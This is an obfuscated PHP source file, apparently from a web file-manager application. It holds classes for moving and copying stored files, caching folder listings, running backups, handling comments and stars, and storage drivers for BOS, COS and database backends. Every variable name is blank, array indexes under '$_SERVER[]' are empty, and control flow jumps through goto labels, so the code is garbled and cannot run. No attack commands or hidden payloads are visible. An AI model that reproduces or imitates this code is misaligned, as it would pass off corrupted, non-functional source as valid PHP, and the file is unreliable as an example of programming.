$[630]), $[517] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[194]); foreach ($ as $) { $ = $[$[193]]; $ = $[$[194]]; if (!isset($this->_childrenListCache[$]) && $[$[497]] == $[91]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $; $this->_childrenItemCache[$] = $; } } private function _childrenListAll($, &$) { $ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $[$] = $; if ($[$[497]] == $[91]) { $this->_childrenListAll($, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[193] => $, $[517] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $[194]); $this->_childrenListCache[$] = $; foreach ($ as $ => $) { $this->_childrenItemCache[$] = $; } return $; } private function fileNameExistAuto($, $) { $ =& $_SERVER[]; if ($[$[517]] == $[91]) { return $this->fileNameExist($, $[$[32]]); } return $this->fileNameExistCache($, $[$[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $) { if ($ == strtolower($[$[32]])) { return $[$[194]]; } } return !1; } private function fileNameAutoCache($, $, $, $) { $ =& $_SERVER[]; $ = $this->_childrenList($); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[193]] == $[$[194]]) { if ($[$[517]] == $[91]) { Model($[515])->restore(array($)); } if (!$ || $ == $[$[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $)) { return !1; } if (!$ || !$ || $[$[497]] != $[91]) { return !1; } Hook::trigger($[675], $); $this->targetIsDelete = intval($[$[517]]); if ($[$[193]] == $ && $ != $[$[32]]) { $ = $this->fileNameExist($, $); if ($ && $[$[497]] == $[231]) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if (!$) { Model($[558])->remove($[$[555]]); } $this->removeNow($, !1); $this->folderSizeReset($); Hook::trigger($[676], $); return $; } } $ = $ ? $ : $[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($, $); $ = array($[646] => array(), $[677] => !1); $this->clearShare($, $); $ = $this->fileNameExistAuto($, $); $ = $this->_move($, $, $, $, $); $this->sourceCacheClear(); if ($[$[497]] == $[91] && $) { $this->folderSizeResetChildren($); } Model($[233])->linkAdd($[$[646]]); if ($ && $ && $[$[677]]) { $ = $[$[497]] == $[91] ? $this->_childrenListSelect($) : !1; $ = $ && count($) > 0 ? !0 : !1; $this->removeNow($, $); } $this->lockMoveEnd($); $this->lockWriteEnd($, $); $this->folderSizeReset($[$[193]]); $this->folderSizeReset($); $ = array($[$[193]], $); if ($[$[497]] == $[91]) { $[] = $; } $this->updateModifyTime($); Model($[650])->eventMove($, $[$[193]], $); Hook::trigger($[676], $); return $; } private function _move($, $, $, &$, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $[$[497]] == $[91]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); $this->lockMoveStart($); $this->lockWriteStart($, $); if (!$) { return $this->_moveForce($, $, $); } $ = $; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { $ = $this->_childrenListSelect($); foreach ($ as $) { $ = REPEAT_REPLACE; $this->_move($[$[194]], $, $, $); } $ = !0; } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $ = $this->_moveForce($, $, $); } else { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if ($) { $[$[646]][] = $[$[555]]; } $ = !0; } } if ($) { $[$[677]] = !0; } return $; } private function _moveForce($, $, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[497]] == $[91]; $ = array($[489] => $[$[194]], $[669] => $[$[598]] . $[$[194]] . $[50], $[665] => $[$[191]], $[666] => $[$[583]], $[668] => USER_ID, $[506] => $); $ = $[$[191]] == SourceModel::TYPE_GROUP && $[$[191]] == SourceModel::TYPE_GROUP && $[$[583]] == $[$[583]]; if (!$ && $this->moveClearAuth) { Model($[581])->authClear($); } $ = $[$[517]] == $[91] && $[$[517]] != $[91]; if ($) { $[$[516]] = 0; } if ($) { $ = array($[669] => array($[629], $[$[598]] . $[$[194]] . $[630])); $ = $[$[598]] . $[$[194]] . $[50]; $ = $[$[598]] . $[$[194]] . $[50] . $[$[194]] . $[50]; $ = array($[669] => array($[678], "replace(parentLevel,'{$}','{$}')"), $[665] => $[$[191]], $[666] => $[$[583]]); if ($) { $[$[516]] = 0; } $this->where($)->data($)->save(); } $this->where(array($[503] => $))->data($)->save(); return $; } private function clearShare($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($[$[583]] == $[$[583]] && $[$[191]] == $[679]) { return; } $ = array($[598] => array($[629], $[$[598]] . $ . $[630])); $ = $this->field($[503])->where($)->getField($[194], !0); if (!$) { return; } $ = array($[194] => array($[7], $), $[680] => 1); $ = Model($[681])->field($[682])->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[682]); $ = array($[682] => array($[7], $)); Model($[681])->where($)->save(array($[680] => 0)); Model($[683])->where($)->delete(); } public function copyFolderFromIO($, $, $, $, $, $ = false) { $ =& $_SERVER[]; $ = array($[647] => array(), $[648] => array(), $[646] => array(), $[684] => array()); $ = $ ? $ : $->pathThis($); $ = $this->fileNameExist($, $); $ = $this->mkdir($, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[685]); $this->_copyChildTo($, $, $, $, $, $); Hook::trigger($[686]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[649])->addAll($[$[647]], array(), !0); Model($[650])->eventCopy($); $this->saveAll($[$[648]]); Model($[558])->linkAdd($[$[646]]); Model($[558])->remove($[$[684]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($, $, $, $, &$, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $->listPath($); $ = $ ? $ : array($[86] => array(), $[85] => array()); $ = array_merge($[$[86]], $[$[85]]); $ = $this->_addFiles($, $[$[86]], $); $ = array(); foreach ($ as &$) { if (isset($[$[$[32]]])) { $ = $[$[$[32]]]; } $[$[497]] = $[$[33]] == $[78]; $[$[498]] = substr(_get($, $[169], $[12]), 0, 10); $[$[79]] = _get($, $[79], 0); $[$[555]] = _get($, $[555], 0); if (!isset($[$[687]]) && $[$[555]]) { $[$[684]][] = $[$[555]]; } if ($) { $ = $this->fileNameExistCache($, $[$[32]]); if ($) { if ($[$[497]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if ($) { $[$[646]][] = $[$[555]]; } continue; } else { if ($ == REPEAT_RENAME) { $[$[32]] = $this->fileNameAutoCache($, $[$[32]], $, !1); } } } } if (!$[$[497]] && $[$[555]] == 0) { continue; } if (!$[$[497]] && $[$[555]]) { $[$[646]][] = $[$[555]]; } $[] = $this->_makeItemData($, $, $[$[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { $ = $[$[$[32]]]; $ = $[$[194]]; $this->_copyApplyMeta($, $); if ($[$[33]] == $[78]) { $[$[87]] = $->getPathInner($[$[87]]); $this->_copyChildTo($, $[$[87]], $, $, $, $); } } } private function _addFiles($, $, $) { $ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ = array(); foreach ($ as &$) { Hook::trigger($[688], $); $[$[87]] = $->getPathInner($[$[87]]); $ = $->hashSimple($[$[87]]); $ = $->hashMd5($[$[87]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $[$[689]] = $; $[$[561]] = $; $[$][] =& $; if (count($[$]) > 1) { $[$[687]] = !0; } Hook::trigger($[690], $); } unset($); $ = array($[561] => array($[7], array_keys($))); $ = Model($[691]); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[561]]])) { continue; } $ = $[$[$[561]]]; foreach ($ as &$) { $[$[555]] = $[$[555]]; $[$[687]] = !0; } unset($); } $ = array(); foreach ($ as $) { Hook::trigger($[692], $); if (isset($[$[687]]) && $[$[687]]) { Hook::trigger($[693], $); continue; } $ = $->getPathInner($[$[87]]); $ = $->addFileMake($, $[$[79]], $[$[689]], $[$[561]], $[$[32]], $); Hook::trigger($[693], $); if (!is_array($)) { continue; } $[] = $; } $->addAll($); $ = array($[561] => array($[7], array_keys($))); $ = $->where($)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[561]]])) { continue; } $ =& $[$[$[561]]]; foreach ($ as &$) { $[$[555]] = $[$[555]]; } unset($); } $ = array(); foreach ($ as $) { $[$[$[32]]] = $; } return $; } } define($_SERVER[][694], $_SERVER[][695]); $hneuzlbykx = $_SERVER[][696]; goto F; B: class BackupModel extends ModelBaseLight { public $optionType = "System.backupList"; public $field = array("io", "name", "status", "content", "manual", "result", "timeFrom", "timeTo"); public function config() { $ =& $_SERVER[]; Action($[2017])->taskInit(); $ = Model($[860])->get($[867]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); $this->parseContent($); unset($[$[1760]]); Model($[1759])->cacheClear(); $ = $[2018]; $ = Model($[2019])->findByKey($[1778], $); if (!$) { $ = array(); } if (isset($[$[207]])) { $[$[207]] = json_decode($[$[207]], !0); } if (isset($[$[207]])) { $[$[207]][$[1763]] = $[$[207]]; unset($[$[207]]); } return array_merge($, $); } public function listData($ = false, $ = "modifyTime", $ = false) { $ = parent::listData($, $, !0); if (!$) { return $; } if ($) { $ = array($); } foreach ($ as &$) { $this->parseContent($); } return $ ? $[0] : $; } public function parseContent(&$) { $ =& $_SERVER[]; $ = _get($, $[171], $[91]); if (!in_array($, array($[866], $[1225]))) { $[$[171]] = $ == $[91] ? $[1225] : $[866]; } } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[]; $ = $this->listData($); if (!$ || empty($[$[32]])) { return !0; } Task::kill($[875]); Task::kill($[894]); Task::kill($[904]); $ = $[$[32]]; $ = TEMP_FILES . $[870] . $ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[][487]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[860])->get($[861]); $ = substr(md5($[862] . $ . $), 0, 8); return "{io:{$[$[842]]}}/database/backup/" . $ . $[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[92]][$[2020]] != $[91]) { return !0; } $ = $this->config(); if (!$ || $[$[1760]] != $[91]) { return !1; } if ($[$[171]] == $[866]) { $ = Model($[860])->get($[1340]); if ($ == $[1341]) { $[$[171]] = $[1225]; } } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[487]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[171]] == $[866]) { $ = $->file(); } } Backup::set(array($[840] => 1, $[851] => time())); return !0; } public function process() { $ =& $_SERVER[]; $ = array($[847] => Task::get($[875]), $[852] => Task::get($[894]), $[233] => Task::get($[904])); $ = !1; foreach ($ as &$) { if ($) { $ = !1; continue; } if ($) { $ = intval(_get($, $[1796], 0)); if (time() - $ > 7200) { Task::kill($[$[487]]); $ = !0; $ = !1; } } } return $; } public function restore() { $ =& $_SERVER[]; ActionCall($[1153], !0, 1); ActionCall($[1153], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "comment"; protected $tableMeta = array("tableName" => "comment_meta", "metaField" => "commentID"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[]; if ($[$[2021]]) { $ = $this->where(array($[2022] => $[$[2021]]))->find(); if (!$ || $[$[191]] != $[$[191]] || $[$[583]] != $[$[583]]) { return !1; } $this->where(array($[2022] => $[$[2021]]))->setAdd($[2023], 1); } $[$[2024]] = 0; $[$[2023]] = 0; $[$[840]] = 1; return $this->add($); } public function commentCount($, $, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[583], $[2025] => $[579]); $ = array($[583] => array($[7], $), $[191] => $); if ($) { $[$[1791]] = $; } $ = $this->field($)->where($)->group($[583])->select(); return array_to_keyvalue($, $[583], $[579]); } public function starTarget($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[1791] => USER_ID, $[191] => $, $[583] => $); $ = $this->where($)->find(); if ($) { return $this->where(array($[487] => $[$[487]]))->delete(); } $ = array($[2021] => 0, $[1791] => USER_ID, $[840] => 1, $[171] => $[12], $[191] => $, $[583] => $, $[2024] => 0, $[2023] => 0); return $this->add($); } public function starTargetCount($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($, $); $ = $this->commentCount($, $, USER_ID); return array($[2026] => $, $[2027] => $); } public function starTargetUserList($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[583] => $, $[191] => $); $ = $this->where($)->count(); $ = array($[344] => $, $[2028] => array()); if (!$) { return $; } $ = $this->field($[1791])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1791]); $[$[2028]] = Model($[591])->userListInfo($); return $; } public function prasiseUserList($) { $ =& $_SERVER[]; $ = array($[2029] => $); $ = $this->where($)->find(); $ = _get($, $[2024], 0); $ = array($[344] => $, $[2028] => array()); if (!$) { return $; } $ = Model($[2030])->field($[1791])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1791]); $[$[2028]] = Model($[591])->userListInfo($); return $; } public function remove($) { $ =& $_SERVER[]; $ = array($[2022] => $); $ = $this->where($)->find(); if ($[$[2021]]) { $this->where(array($[2022] => $[$[2021]]))->setAdd($[2023], -1); } return $this->where($)->delete(); } public function edit($, $) { $ =& $_SERVER[]; $ = array($[2022] => $); return $this->where($)->save(array($[2031] => $)); } public function prasise($) { $ =& $_SERVER[]; $ = Model($[2032]); $ = array($[2022] => $, $[1782] => USER_ID); $ = $->where($)->find(); if (!$) { $->add($); $ = $this->where(array($[2022] => $))->setAdd($[2024], 1); } else { $->where($)->delete(); $ = $this->where(array($[2022] => $))->setAdd($[2024], -1); } return $; } public function targetInfo($, $) { $ =& $_SERVER[]; $ = array($[665] => $, $[666] => $); $ = $this->where($)->count(); $ = "RIGHT JOIN {$this->tablePrefix}comment_praise star on comment.commentID = star.commentID"; $ = $this->alias($[441])->where($)->join($, $[2033])->count(); $ = array($[2034] => $, $[2035] => $); return $; } public function listData($) { $ =& $_SERVER[]; if (isset($[$[2036]])) { if ($[$[2036]]) { $[$[2029]] = array($[1107], intval($[$[2036]])); } unset($[$[2036]]); } if (isset($[$[2037]])) { if ($[$[2037]]) { $[$[2029]] = array($[1104], intval($[$[2037]])); } unset($[$[2037]]); } return $this->_listData($); } private function _listData($) { $ =& $_SERVER[]; $ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$[457]]); $this->_listAppendUser($[$[457]]); $this->_listAppendMeta($[$[457]]); return $; } private function _makeOrder() { $ =& $_SERVER[]; $ = array($[2024], $[2023], $[234]); $ = Input::get($[542], $[7], $[509], $); $ = Input::get($[543], $[7], $[1784], array($[2038], $[538])); $ = $ . $[53] . $; return $this->order($); } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[2021])); $ = array_remove_value($, $[231]); if (!$) { return; } $ = $this->where(array($[2022] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[2029]); foreach ($ as &$) { if (isset($[$[$[2021]]])) { $[$[2039]] = $[$[$[2021]]]; } } unset($); } private function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1791])); $ = array_remove_value($, $[231]); if (count($) == 0) { return; } foreach ($ as $) { if (isset($[$[2039]])) { $[] = $[$[2039]][$[1791]]; } } $ = Model($[611])->userListInfo($); foreach ($ as &$) { $[$[679]] = $[$[$[1791]]]; if (isset($[$[2039]])) { $[$[2039]][$[679]] = $[$[$[2039]][$[1791]]]; } } unset($); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[2029])); $ = array_remove_value($, $[231]); if (!$) { return; } foreach ($ as $) { if (isset($[$[2039]])) { $[] = $[$[2039]][$[2029]]; } } $ = $this->metaList($); if (!$) { return !1; } foreach ($ as &$) { $[$[553]] = $[$[$[2029]]]; if (isset($[$[2039]])) { $[$[2039]][$[553]] = $[$[$[2039]][$[2029]]]; } } unset($); } private function metaList($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = array($[2029] => array($[7], $)); $ = Model($[2040])->where($)->select(); $ = array_to_keyvalue_group($, $[2029]); foreach ($ as $ => $) { $ = array(); foreach ($ as $) { $[$[$[97]]] = $[$[462]]; } $[$] = $; } return $ ? $ : array(); } public function removeTarget($, $) { $ =& $_SERVER[]; if (!$) { return !0; } $ = is_array($) ? $ : array($); $ = array($[191] => $, $[583] => array($[7], $)); $ = $this->field($[2029])->where($)->select(); $ = array_to_keyvalue($, $[12], $[2029]); if (!$) { return !0; } $ = array($[2029] => array($[7], $)); $this->where($)->delete(); Model($[2032])->where($)->delete(); Model($[2041])->where($)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "io_file_contents"; protected $dataAuto = array(array("createTime", "time", "insert", "function")); } goto a; b: class PathDriverBOS extends PathDriverS3 { public function __construct($) { parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[232]; $ = $[1428]; $ = $[264]; $ = gmdate($[1429], time() + $); $ = (string) time() . $[74] . (string) (time() + $); $ = array($[265] => $, $[268] => array(array($[309] => $), array($[269] => $this->bucket), array($[270], $[271], $[12]), array($[273] => $), array($[1430] => $), array($[1431] => $this->accessKey), array($[1432] => $))); $ = json_encode($); $ = hash_hmac($[1428], $, $this->secret); $ = sha1($); $ = hash_hmac($[1428], $, $); $ = array($[309] => $, $[273] => $, $[280] => base64_encode($), $[1430] => $, $[1431] => $this->accessKey, $[1433] => $, $[1434] => $, $[209] => $this->getHost()); return $; } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $); } $ = $this->link($); $ .= $[1435] . $ . $[1436]; $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1437]); } public function getPath($) { return trim($, $_SERVER[][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[][193]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $ = $this->parse($); return KodIO::make($[$_SERVER[][487]]); } public function copyFolderFromIO($, $, $, $, $) { $ = $this->model->copyFolderFromIO($, $, $, $, $); return KodIO::make($); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[487]]; for ($ = 0; $ < count($[$[1438]]); $++) { $ = $[$[1438]][$]; if ($ == count($[$[1438]]) - 1) { $ = $this->model->mkfile($, $, $, $); break; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[487]]; for ($ = 0; $ < count($[$[1438]]); $++) { $ = $[$[1438]][$]; $ = $this->model->mkdir($, $, $); } return $this->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->copy($, $[$[487]], $, $[$[87]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->move($, $[$[487]], $, $[$[87]]); return $ ? $this->getPathOuter($) : !1; } public function copy($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->copy($, $[$_SERVER[][487]], $, $); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->move($, $[$_SERVER[][487]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $ = true) { return $this->model->remove($, $); } public function rename($, $) { $ = $this->model->rename($, $); return $ ? $this->getPathOuter($) : $; } public function size($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $ = false) { if (!$) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimple($) { $ =& $_SERVER[]; $ = explode($[8], $); $ = implode($[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $); } public function infoFull($) { $ = $this->infoFullSimple($); return is_array($) ? $this->model->pathInfo($[$_SERVER[][194]]) : !1; } public function hashSimple($) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$[170]][$[689]]; } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$[170]][$[561]]; } public function exist($) { $ =& $_SERVER[]; $ = $this->parse($); if (!$[$[87]]) { return $this->isFile($) || $this->isFolder($); } $ = array($[489] => $[$[487]], $[32] => $[$[87]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public function isFile($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[497]] == $[231] ? !0 : !1; } public function isFolder($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[497]] == $[91] ? !0 : !1; } public function listPath($, $ = false) { $ =& $_SERVER[]; if ($ == $[12]) { return !1; } $ = array($[489] => $); if ($) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($) { return array($[243] => $[$[243]], $[242] => $[$[242]]); } return $ ? $[$[243]] : $[$[242]]; } public function listAll($) { $ = IO::info($this->pathParse[$_SERVER[][87]]); if (!$) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($, $, $) { return $this->model->fileSubstr($, $, $); } public function download($, $ = '') { $ = get_path_father($); $ = get_path_this($); $ = $this->model->fileInfoGet($); $ = IO::copy($[$_SERVER[][87]], $, !1, $); return $; } public function setModifyTime($, $ = '') { $ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($[503] => $))->save(array($[88] => $)); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFile($[$[487]], $, $[$[87]], $, $); return $this->getPathOuter($); } public function uploadFileByID($, $, $) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFileByFileID($[$[487]], $, $[$[87]], $); return $this->getPathOuter($); } public function addFileByRemote($, $, $ = array(), $ = '', $) { $ =& $_SERVER[]; $ = $this->parse($); $ = empty($) ? $[$[87]] : $; $ = $this->model->addFileByRemote($[$[487]], $, $, $, $); return $this->getPathOuter($); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; $ = $this->parse($); $ = _get($GLOBALS[$[7]], $[1439]); $ = _get($GLOBALS[$[7]], $[1440]); $ = Model($[691])->createFileName($[$[87]], $, $); return IO::uploadLink($, $); } public function fileNameAuto($, $, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($, $, $, $); } public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($, $ = false, $ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->model->sourceInfo($); if ($[$[497]] == $[91]) { header($[1441]); die; } $ = $this->model->fileInfoGet($); $ = $[$[561]] ? $[$[561]] : $; $ = isset($GLOBALS[$[183]]) && is_array($GLOBALS[$[183]]) ? $GLOBALS[$[183]][$[32]] : $[$[32]]; if ($) { return IO::fileOutServer($[$[87]], $, $, $); } IO::fileOut($[$[87]], $, $, $); } public function fileOut($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $); } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $, !0); } protected function _fileOutImage($, $ = 250) { $ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($[$[497]] == $[91]) { show_json($[1442] . $, !1); } $ = $this->model->fileInfoGet($); $[$[184]] = $[$[87]]; $GLOBALS[$[183]] = $; IO::fileOutImage($[$[87]], $); } public function fileOutImage($, $ = 250) { $this->_fileOutImage($, $); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($, $ = '') { $ = $this->model->fileInfoGet($); return IO::link($[$_SERVER[][87]], $); } protected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[505] => intval($), $[87] => $[12], $[1438] => array()); } $ = explode($[8], trim($, $[8])); if (count($) < 2) { show_tips(clear_html($) . $[1443]); } return array($[505] => intval($[0]), $[87] => $[1], $[1438] => array_slice($, 1)); } } goto A; f: class ModelBaseLight { public $optionType = ''; public $modelType = "SystemOption"; public $field = array(); public function listData($ = false, $ = "modifyTime", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][484] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = Model($this->modelType)->get($[485], $this->optionType . $[486]); $ = $ ? $ : 0; $[$[487]] = ++$; $[$[234]] = time(); $[$[88]] = time(); Model($this->modelType)->set($[485], $, $this->optionType . $[486]); Model($this->modelType)->set($[484] . $, $, $this->optionType); return $; } public function update($, $) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $ = array_merge($, $); $[$[88]] = time(); return Model($this->modelType)->set($[484] . $, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][484] . $, $this->optionType); } public function clear() { $ =& $_SERVER[]; Model($this->modelType)->remove($[485], $this->optionType . $[486]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$]) ? $[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[][32], $); } protected function resetData($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$[484] . $[$][$[487]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ || !isset($[$])) { return $; } for ($ = 1; $ < count($); $++) { $ = $ . "({$})"; if (!isset($[$])) { return $; } } return $; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $ ? isset($[$]) ? $[$] : null : $; } $ = $this->filterWhere(array($[33] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[97], $[462]); foreach ($ as $ => $) { if ($ || in_array($, $this->jsonField)) { 